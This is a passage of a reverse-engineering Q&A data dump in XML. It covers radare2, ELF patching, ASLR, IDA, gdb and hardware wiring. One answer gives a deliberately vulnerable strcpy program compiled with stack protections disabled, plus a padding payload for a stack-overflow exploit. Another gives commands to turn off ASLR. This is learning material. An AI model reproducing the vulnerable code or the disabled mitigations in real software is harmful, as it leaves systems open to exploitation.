b800000000     mov eax, 0&#xA;|           0x55a340b532c4      4889d7         mov rdi, rdx&#xA;|           0x55a340b532c7      f2ae           repne scasb al, byte [rdi]&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While stepping in through each instruction in this function, I have noticed that after executing the fourth instructon (&lt;code&gt;lea rdi, [0x55a340b562e0]&lt;/code&gt;) the 2nd operand of &lt;code&gt;lea&lt;/code&gt; instruction automatically substituted to a random register like &lt;code&gt;rdx&lt;/code&gt;, &lt;code&gt;r9&lt;/code&gt;, &lt;code&gt;rdi&lt;/code&gt; in the disassembly of debugger window. In the screenshot below the fourth instruction got substituted to &lt;code&gt;lea rdi, [rdi]&lt;/code&gt; by radare2. And I think it is worth mentioning that I have loaded the crackme executable 5 times in radare2, at first two times radare2 replaced the memory address operand with &lt;code&gt;rdx&lt;/code&gt; and &lt;code&gt;r9&lt;/code&gt; and last 3 times with &lt;code&gt;rdi&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SV8Un.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SV8Un.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am quite unsure of what causing this behavior.Although &lt;code&gt;lea rdi, [rdi]&lt;/code&gt; looks self-explanatory but I don't know about &lt;code&gt;rdx&lt;/code&gt; or &lt;code&gt;r9&lt;/code&gt;. Why radare2 is changing memory operands in &lt;code&gt;lea&lt;/code&gt; instruction ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Radare2 version&lt;/strong&gt; : radare2 3.7.0 22507 @ linux-x86-64 git.3.7.0-38-g9ce44c7cc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Crackme binary&lt;/strong&gt;: &lt;a href=&quot;https://crackmes.one/crackme/5c95646333c5d46ecd37c960&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://crackmes.one/crackme/5c95646333c5d46ecd37c960&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28861" LastEditorUserId="28861" LastEditDate="2019-08-16T19:12:37.320" LastActivityDate="2019-08-16T20:09:03.017" Title="Radare2 substituting second operand of lea instruction with a random register" Tags="|radare2|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21906" PostTypeId="2" ParentId="21881" CreationDate="2019-08-15T22:14:29.093" Score="1" Body="&lt;p&gt;I’m not aware of any detailed description of the app encryption on iOS. My guess is that because FairPlay framework and kext are heavily obfuscated, it’s much easier to just let it run on the device and get the final decrypted code that spend countless hours reverse engineering the obfuscated algorithms which in the end will need the key material produced on the physical device. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if you do spend those months/years to find out the exact details, you just might discover a way to perform decryption offline after all :)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-08-15T22:14:29.093" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21907" PostTypeId="2" ParentId="21897" CreationDate="2019-08-16T14:35:02.667" Score="0" Body="&lt;p&gt;The go command in uboot allows you to specify an address and provide arguments. You could potentially use this invoke a printf(), providing a pointer to a format string and a pointer to what you wish to read.&lt;/p&gt;&#xA;" OwnerUserId="28699" LastActivityDate="2019-08-16T14:35:02.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21909" PostTypeId="2" ParentId="21904" CreationDate="2019-08-16T19:56:07.910" Score="0" Body="&lt;p&gt;The instruction that confuses you is &lt;code&gt;488d3d37300000&lt;/code&gt; standing for &lt;code&gt;lea rdi,[rip+0x3037]&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What radare2 shows you before executing this instruction is the value that will be stored in &lt;code&gt;rdi&lt;/code&gt; register, not the exact mnemonic of the instruction. After executing this line, you see &lt;code&gt;lea rdi, [rdi]&lt;/code&gt; and the reason behind it, &lt;strong&gt;I guess&lt;/strong&gt;, is that radare2 prefers to show registers instead of raw values when possible. After executing this instruction, it realises that &lt;code&gt;rdi&lt;/code&gt; has in fact value &lt;code&gt;0x55e3a3b802e0&lt;/code&gt; so it can display it instead, which usually would be more readable, but in your case it unfortunately leads to confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make sure that it is just radare2 issue, not the executable itself, you may check the opcode just before executing that instruction and just after it - it doesn't change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; You mentioned that you see different registers in &lt;code&gt;lea&lt;/code&gt; - they aren't put there randomly; depending on the current register values when you look at the mnemonics (using &lt;code&gt;pdf&lt;/code&gt; or Visual Mode), they will change; i.e. if &lt;code&gt;r9= 0x55a340b562e0&lt;/code&gt; at some moment, it can be displayed there (so you will see &lt;code&gt;lea rdi, [r9]&lt;/code&gt; when it happens that &lt;code&gt;r9&lt;/code&gt; or any other register has that value).&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-08-16T20:09:03.017" LastActivityDate="2019-08-16T20:09:03.017" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21910" PostTypeId="1" AcceptedAnswerId="21914" CreationDate="2019-08-16T20:47:37.420" Score="7" ViewCount="2872" Body="&lt;p&gt;I'm trying to see if I can append function code in the .text section of an ELF  while still maintaining the execution flow of the original ELF. Ideally, I want to call the new function but that's it's own mountain to climb. I'm more concerned with just adding the code. Is this realistic? Or am I way over my head? I've been able to add the code by simply overwriting bytes. However, I would like to extend the .text section and insert it. If there's a better method of inserting new functionality into an ELF I'm all ears. But any guidance is helpful.&lt;/p&gt;&#xA;" OwnerUserId="29337" LastEditorUserId="27674" LastEditDate="2019-08-19T23:02:53.237" LastActivityDate="2020-05-05T12:20:22.757" Title="Elf x86_64 adding function" Tags="|c|elf|x86-64|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21911" PostTypeId="1" CreationDate="2019-08-17T00:49:39.560" Score="1" ViewCount="2078" Body="&lt;p&gt;Through some research I have found that obfuscation won't block hackers from retrieving your .json file, but I'd like to have at least a level of obfuscation that deters some people. I ran into a npm package called bson that creates binaries for a json format. Can you call this obfuscation to a degree? I am also at a dilemma because my .json files serve a WebGL gaming engine via iframe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unity developers obfuscates most of their code via third-party obfuscation tools in the Unity Asset store. It is than rendered into WebGL. I was wondering if some similar tools that helps me achieve obfuscation of .json this through webGL frameworks like babylon.js and three.js&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main goal is just to obfuscate when a user inspects the incoming .json file in the network tab. &lt;/p&gt;&#xA;" OwnerUserId="29340" LastActivityDate="2019-08-17T00:49:39.560" Title="Obfuscate JSON file that is served client-side" Tags="|obfuscation|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21912" PostTypeId="1" AcceptedAnswerId="21916" CreationDate="2019-08-17T04:25:41.560" Score="0" ViewCount="5963" Body="&lt;p&gt;I'm using ghidra and cheat engine to reverse engineer a game's function. In ghidra's decompiler this function references two locations known as _DAT_XXX. I know the addresses of these locations in the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do I find the addresses of the locations when the process is running?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if (_DAT_00dd5c44 &amp;lt;= DAT_00dd5c3c) {&#xA;    return 0;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29218" LastActivityDate="2019-08-17T15:21:21.817" Title="How do I find the address of a data location at runtime?" Tags="|debugging|static-analysis|dynamic-analysis|ghidra|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21913" PostTypeId="1" AcceptedAnswerId="21929" CreationDate="2019-08-17T04:29:58.257" Score="0" ViewCount="702" Body="&lt;p&gt;I have a servo motor with rotary encoder salvaged from an old scanner. I'm trying to figure out how to re-use it in a DIY CNC machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By reading through the engineering manual from the original device (Hooray for  uncle Google!) I have established that the servo was run on PWM'ed 24.5v DC and the encoder was run on 5v DC. The power supplies were on the same board, but the voltages were generating from separate transformers. (I am in NZ, so it is 230v 50Hz mains here.) Regretfully I do not have the original mainboard/motherboard so I cannot trace any circuits that the encoder once ran to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wiring is run from a parallel port connector up to the motor and the encoder - but the servo lines and the encoder lines are run in separate, independently 'screened' cables inside the outer cable liner. So it's two bundles, each with a metal woven tube around them and plastic over that, traveling inside the same larger diameter plastic outer sheath.They emerge from the outer sheath about 200mm from the servo and encoder and finish the distance as independent cables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from figuring out a drive for the servo, I have to figure out how to read the encoder. I sort of understand the basics of how it works, with +/- A and +/- B and +/- index... those will tell me the 'start' point (indexes) and the pulses to count. I think. But that there are chips on the encoder  weirds me out... but that's not this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to my embarrassingly low level of electronics knowledge I'm stuck on the fact that it has something called &quot;0v&quot; (on pin 20 of the pinout below), AND it has a ground through the mesh cable liner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if anyone can, please let me know how I can safely wire and power up the encoder to to begin looking for signals on the other wires. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &quot;0v&quot; is really separate and different from GND, then please include how I might create a &quot;0v&quot; from any of the many power supplies I have around. I've played with so many PSUs and other power bricks, but have never seen this 0v thing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am posting pictures of it and also the only reference I have for the pinout of the connector. Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7ccy4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7ccy4.jpg&quot; alt=&quot;page from old device&amp;#39;s manual&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GLSUW.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GLSUW.jpg&quot; alt=&quot;Side view with (useless) part numbers&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Cd5dc.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cd5dc.jpg&quot; alt=&quot;End view of encoder&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27513" LastEditorUserId="27513" LastEditDate="2019-08-19T07:41:03.173" LastActivityDate="2019-08-19T07:42:26.107" Title="How to wire up a rotary encoder with a &quot;0v&quot; connection?" Tags="|hardware|encodings|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21914" PostTypeId="2" ParentId="21910" CreationDate="2019-08-17T09:58:38.390" Score="7" Body="&lt;p&gt;It is possible to do what you want. There are some difficulties you may encounter though. I'll show you a short instruction how it can be done in several different cases.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Have a look at &lt;a href=&quot;http://www.skyfree.org/linux/references/ELF_Format.pdf&quot; rel=&quot;noreferrer&quot;&gt;ELF specification&lt;/a&gt; to know how every file in that format looks like, which sections it consists of and how they are located in the process image at the runtime. Even when there exist tools that can perform the job automatically for you, it's good to know what has to be done &quot;underneath&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Write and compile the code you want to add. You can do it later of course, but this way you will know how much space you need to add.&lt;/li&gt;&#xA;&lt;li&gt;Having the knowledge obtained in &lt;code&gt;1.&lt;/code&gt;, you can now interpret the output of &lt;code&gt;readelf -S executableToPatch&lt;/code&gt; command. It will list the sections present in the executable along with the information such as their offset in the file. &lt;/li&gt;&#xA;&lt;li&gt;If you are lucky, the offset of the section you want to update + its basic size + size of the code you want to add is less than the offset of the next section. In such a case, you simply want to create a file containing the new content of this section (that is, entire content before your modification and the extra code appended by you). Then you can simply run: &#xA;&lt;code&gt;objcopy --update-section .text=fileWithTheNewContent nameOfExe nameOfExePatched&lt;/code&gt; and you are done.&lt;/li&gt;&#xA;&lt;li&gt;If you are not so lucky, you can still run the command from the previous point, but you will get messages similar to this: &lt;code&gt;objcopy: nameOfExe: section .text offset adjusted to newOffset&lt;/code&gt;, which simply means that &lt;code&gt;objcopy&lt;/code&gt; has moved some subsequent sections forward in such a way that they don't overlap with each other (which, from &lt;code&gt;1.&lt;/code&gt;, is one of the requirements of the ELF specification). However, contrary to the previous point, you cannot simply finish here, because it could be the case that some section with data has changed its offset as well.&lt;/li&gt;&#xA;&lt;li&gt;Check which sections have been relocated. If none of them contains data, you can now test the program whether it behaves the same as before your modification. If it does, your job is done - your code has been successfully updated.&lt;/li&gt;&#xA;&lt;li&gt;If it behaves differently or some of your sections with data has changed its offset, it is necessary to fix the data references to this section, that is to patch the code, so that it references offsets in the new data section location. For example, when &lt;code&gt;.rodata&lt;/code&gt; has been moved forward by &lt;code&gt;4096&lt;/code&gt; bytes, you will have to change all references to &lt;code&gt;.rodata&lt;/code&gt; by adding &lt;code&gt;4096&lt;/code&gt; to each address, i.e. if you have &lt;code&gt;mov rax, [rip+0x20]&lt;/code&gt; you want to change it to &lt;code&gt;mov rax, [rip+0x1020]&lt;/code&gt;, but it isn't straightforward to do, although it's still possible.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-08-17T09:58:38.390" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21915" PostTypeId="2" ParentId="16677" CreationDate="2019-08-17T11:05:38.787" Score="3" Body="&lt;h1&gt;its just about different padding size:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;look this is my solution just worked fine for me&#xA;you add two lines for c code to just check if the esp is same as esp you found it in gdb:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ vi esp.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #include &amp;lt;string.h&amp;gt;&#xA;    #include &amp;lt;stdio.h&amp;gt;&#xA;    void main(int argc, char *argv[]) {&#xA;            char buffer[100];&#xA;            strcpy(buffer, argv[1]);&#xA;            register int i asm(&quot;esp&quot;); //add this line &#xA;            printf(&quot;$esp = %#010x\n&quot;, i); // and this line will print esp&#xA;            printf(&quot;Done!\n&quot;);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after saving file &#xA;compile it with gcc and prevent all security levels:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc esp.c -o esp -fno-stack-protector -no-pie -z norelro -z execstack&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you change padding length until you find same esp you got it from gdb:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./esp $(python -c &quot;print 'gdb_eip'+96*'A'&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now after you find fine exploit in gdb &#xA;go and change payload until esp = gdb esp&#xA;change padding until you find same esp&lt;/p&gt;&#xA;" OwnerUserId="29343" LastEditorUserId="29343" LastEditDate="2019-08-17T11:15:09.243" LastActivityDate="2019-08-17T11:15:09.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21916" PostTypeId="2" ParentId="21912" CreationDate="2019-08-17T11:25:26.317" Score="1" Body="&lt;h1&gt;Position dependent code&lt;/h1&gt;&#xA;&lt;p&gt;If the executable was compiled as &lt;em&gt;position dependent code&lt;/em&gt;, the addresses will not change - they will remain the same in process' virtual memory each time you run it. In this case, it simply suffices to find these addresses once during the runtime and they won't change.&lt;/p&gt;&#xA;&lt;h1&gt;Position independent code&lt;/h1&gt;&#xA;&lt;p&gt;In this (more likely) case, the addresses will change during each execution because of &lt;a href=&quot;https://en.wikipedia.org/wiki/Address_space_layout_randomization&quot; rel=&quot;nofollow noreferrer&quot;&gt;ASLR&lt;/a&gt;. The thing that won't change however is their &lt;em&gt;relative offset to each other&lt;/em&gt;. Since at compilation time, compiler has to take into account, that the resulting program can be loaded at different addresses it will use the relative offsets when accessing functions and data. For example, you will see something like &lt;code&gt;mov rax, [rip+0x1234]&lt;/code&gt; instead of &lt;code&gt;mov rax, [0x555555655655]&lt;/code&gt;. So you will need to find out the address of the data by calculating this relative offset.&lt;/p&gt;&#xA;&lt;p&gt;To avoid the problems related to ASLR, you may simply disable it for the time you need. In Linux you can do it by:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;and you can enable it once again by running:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, to get the address of the data referenced like &lt;code&gt;mov, rax, [rip+0x1234]&lt;/code&gt; you will have to debug your program, place a breakpoint at that line and simply read the &lt;code&gt;rip&lt;/code&gt; value and add the relevant offset to it (in this case &lt;code&gt;rip+0x1234&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-08-17T15:21:21.817" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21917" PostTypeId="1" CreationDate="2019-08-17T11:39:30.730" Score="2" ViewCount="44" Body="&lt;p&gt;I captured the traffic of a remote control for a LED light.&#xA;I have multiple of those LED Lights.&#xA;The payload seems to be the same for each device but the frequency(channel) differs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For one LED light I lost my remote control, now I'd like to replay the captured traffic but on a different frequency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this with tools like GRC and Hack RF (or other tools) ?&lt;/p&gt;&#xA;" OwnerUserId="29344" LastEditorUserId="245" LastEditDate="2019-08-17T22:01:49.460" LastActivityDate="2019-08-17T22:01:49.460" Title="How to replay a signal on a different frequency with Gnu Radio Companion and Hack RF" Tags="|radio-interception|gnu-radio|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21918" PostTypeId="2" ParentId="21901" CreationDate="2019-08-17T13:20:46.610" Score="0" Body="&lt;p&gt;In not sure why you can’t just use several non overlapping segments but maybe the &lt;a href=&quot;http://idabook.com/examples/chapter_19/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;.pyc&lt;/code&gt; processor module &lt;/a&gt; from &lt;em&gt;The IDA Pro book&lt;/em&gt; will be useful (I think it includes a loader)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-08-17T13:20:46.610" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21919" PostTypeId="1" AcceptedAnswerId="21932" CreationDate="2019-08-17T18:38:20.120" Score="2" ViewCount="4259" Body="&lt;p&gt;The program I'm currently reversing is missing a section that contains a bunch of interesting strings. I see the memory addresses of where these should be, instead of the reference to the string. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The strings are in the binary file analyzed by IDA, but since there isn't any segment for them, IDA ignored them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried manually creating the segment, which works (it now references unknown variables instead of memory addreses), but I can't figure out how to load the proper data into that section. (The entire section is filed with &lt;code&gt;db ? ;&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using &lt;code&gt;File &amp;gt; Load File &amp;gt; Load additional binary file&lt;/code&gt;(with file offset &amp;amp; size), as well as reloading the current file. I've also dumped the part of the file I'm interested in another file and tried to load that one as an additional binary as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only results I can get from that is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;IDA creates a new segment at the end of all other segments (Not following the &lt;code&gt;Loading Segment&lt;/code&gt; address I filled in.&lt;/li&gt;&#xA;&lt;li&gt;If I uncheck &lt;code&gt;Create Segments&lt;/code&gt;, IDA does nothing. (Even though I specified the address of my manually created segment in &lt;code&gt;Loading Segment&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The segment I manually created has the following settings:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FColf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FColf.png&quot; alt=&quot;segment settings&quot;&gt;&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the form I filled while loading the binary file that contains the data I want. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/0IuUR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0IuUR.png&quot; alt=&quot;load binary file settings&quot;&gt;&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never done this before, so it's likely I'm doing something wrong, but I can't figure it out.&lt;/p&gt;&#xA;" OwnerUserId="27693" LastActivityDate="2019-08-21T17:31:52.203" Title="IDA Pro - Load data in manually created segment" Tags="|ida|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21920" PostTypeId="1" AcceptedAnswerId="21922" CreationDate="2019-08-18T06:31:25.940" Score="0" ViewCount="337" Body="&lt;p&gt;Say I was interested in reverse engineering a specific process in a large binary, say how Google Chrome parses XML, what are some general approaches to identifying the instructions that the program uses to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry I realise this is a broad question, so specifically how would you go about identifying relevant instructions when you have very little understanding about how the program is structured or what dependencies it has?&lt;/p&gt;&#xA;" OwnerUserId="25955" LastActivityDate="2021-03-28T16:01:13.157" Title="How to identify/extract relevant assembly from a binary?" Tags="|disassembly|assembly|binary-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21922" PostTypeId="2" ParentId="21920" CreationDate="2019-08-18T13:11:10.193" Score="3" Body="&lt;p&gt;I'll present the steps that &lt;em&gt;I would&lt;/em&gt; perform in such a case. Note that &lt;em&gt;they aren't necessarily the most efficient and reliable one&lt;/em&gt;s although they should work in many cases. I'm assuming that the binary you want to examine isn't packed and obfuscated.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Look for the imports&lt;/strong&gt;. Sometimes the code you are looking for is just taken from external library. In this case just looking for its documentation will suffice. In case of PE files you can use &lt;a href=&quot;http://www.dependencywalker.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dependency Walker&lt;/a&gt; and &lt;a href=&quot;http://www.purinchu.net/software/elflibviewer.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELF Library Viewer&lt;/a&gt; for ELF files.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Open the file in disassembler&lt;/strong&gt; (such as &lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt; or &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA&lt;/a&gt;) and if debug symbols are attatched, you can search for the function with a name suggesting that it performs the activity you want to find.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Search for strings&lt;/strong&gt;. If you notice that some string is used when certain functionality is launched, you may just search for this string in disassembler  and search for the references to it. Then, you can look around this area and you may find the code you are looking for. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In case all previous methods failed (most likely), it is time for &lt;strong&gt;dynamic analysis&lt;/strong&gt;. Since you don't know where to set the breakpoints, you can set them at all the function calls in the program (possibly excluding library functions you aren't interested in). I wrote &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/21235/function-call-trace-with-radare2-or-break-on-all-function-call/21724#21724&quot;&gt;radare2 script&lt;/a&gt; performing exectly this task. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume we want to find out how &lt;em&gt;Google Chrome&lt;/em&gt; parses xml files. I would modify this script to log each distinct function call and then simply continue. I would then open &lt;em&gt;Google Chrome&lt;/em&gt; in debugger (possibly radare2 but can be any other you can write scripts for) and just wait a couple of seconds with empty page to gather all the functions it calls when doing &quot;nothing special&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would then rerun it, but this time with opening some xml file (for instance by drag and drop onto the empty page). Now, you can compare the files containing all the procedures called and see which extra ones are present in the second file. These (or at least some of them) should be responsible for parsing xml files.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-08-18T13:19:30.630" LastActivityDate="2019-08-18T13:19:30.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21923" PostTypeId="2" ParentId="21913" CreationDate="2019-08-18T13:34:21.633" Score="0" Body="&lt;p&gt;Most of it is gibberish to me, but &lt;a href=&quot;https://library.automationdirect.com/encoders-explained-issue-25-2013/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt; seems to mention that 0V pin is used as the base for the encoding output and is separate from the ground for the power supply. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-08-18T13:34:21.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21924" PostTypeId="1" CreationDate="2019-08-18T13:47:27.253" Score="2" ViewCount="590" Body="&lt;p&gt;I have the start address and the end address of the IAT&#xA;now im trying to restore the table/folder of it.&#xA;the start address is: E7C000&#xA;thx for helping&#xA;&lt;a href=&quot;https://i.stack.imgur.com/I4iCE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I4iCE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29026" LastActivityDate="2023-02-03T01:06:20.827" Title="How to restore IAT?" Tags="|ida|pe|static-analysis|pe-resources|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21926" PostTypeId="1" AcceptedAnswerId="21927" CreationDate="2019-08-18T18:10:51.977" Score="4" ViewCount="3294" Body="&lt;p&gt;I'm trying to debug some code on Linux.&#xA;There's an arbitrary memory location I need the program to jump to.&#xA;This location is result of calling mmap with appropriate protection flags for executing a piece of code.&#xA;When trying to set break point like this: &lt;code&gt;b 0x00007ffff7fcf000&lt;/code&gt;&#xA;I get the following message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Function &quot;0x00007ffff7fcf000&quot; not defined.&#xA;Make breakpoint pending on future shared library load? (y or [n])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I answer no, then no breakpoint is triggered, and if I answer yes, then still no breakpoint is triggered. How can I make gdb set a breakpoint on this address?&lt;/p&gt;&#xA;" OwnerUserId="29354" LastActivityDate="2019-08-18T22:07:57.313" Title="How to set breakpoint with gdb on arbitrary memory location?" Tags="|gdb|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21927" PostTypeId="2" ParentId="21926" CreationDate="2019-08-18T22:07:57.313" Score="6" Body="&lt;p&gt;You need to use syntax like &lt;code&gt;*0x12345&lt;/code&gt; with raw addresses, otherwise gdb tries to resolve it as a symbol. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-08-18T22:07:57.313" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21929" PostTypeId="2" ParentId="21913" CreationDate="2019-08-19T07:26:29.857" Score="1" Body="&lt;p&gt;There are two possibilities:&#xA;Your GND is actually safety ground. Which is usually used when electronics (or motor) is directly (without transformer) connected to 120/230V electrical grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other reasons is that motor need high current which introduce voltage drop and electrical noise on power supply lines. This could glitch or damage encoder. This problem can be solved by separating power supply for power and logic circuits. In your case you should use different power supply for encoder (pin 7 and 20 and its outputs) and Brush servo phase pins (if you will use them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would say option 2 is more likely, but cant be sure your pictures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;If your mesh in cable is actually connected to pin 21 or 22 then it is screen to prevent electrical interference, in that case it should be connected to appropriate GND at one (and only one) point.&lt;/p&gt;&#xA;" OwnerUserId="25138" LastEditorUserId="25138" LastEditDate="2019-08-19T07:42:26.107" LastActivityDate="2019-08-19T07:42:26.107" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
